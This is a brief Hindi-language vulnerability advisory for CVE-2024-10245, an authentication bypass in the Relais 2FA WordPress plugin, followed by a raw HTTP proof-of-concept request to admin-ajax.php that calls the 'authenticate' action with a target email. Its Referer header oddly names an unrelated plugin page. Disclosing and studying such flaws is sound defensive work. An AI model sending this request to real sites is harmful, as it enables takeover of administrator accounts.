CVE-2024-10245

Relais 2FA <= 1.0 - प्रमाणीकरण बाईपास

विवरण

Relais 2FA प्लगइन WordPress के लिए संस्करण 1.0 तक (और इसमें शामिल) प्रमाणीकरण बाईपास की चपेट में है। यह 'rl_do_ajax' फ़ंक्शन में गलत प्रमाणीकरण और क्षमता जांच के कारण है। इससे अप्रमाणित हमलावर साइट पर किसी भी मौजूदा उपयोगकर्ता (जैसे व्यवस्थापक) के रूप में लॉग इन कर सकते हैं, यदि उनके पास ईमेल तक पहुंच है।

POC

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: kubernetes.docker.internal
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:132.0) Gecko/20100101 Firefox/132.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: http://kubernetes.docker.internal/wp-admin/admin.php?page=wp-time-capsule-settings
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 78
Origin: http://kubernetes.docker.internal
Connection: keep-alive

action=rl_do_ajax&rl_action=authenticate&nonce=213123123&[email protected]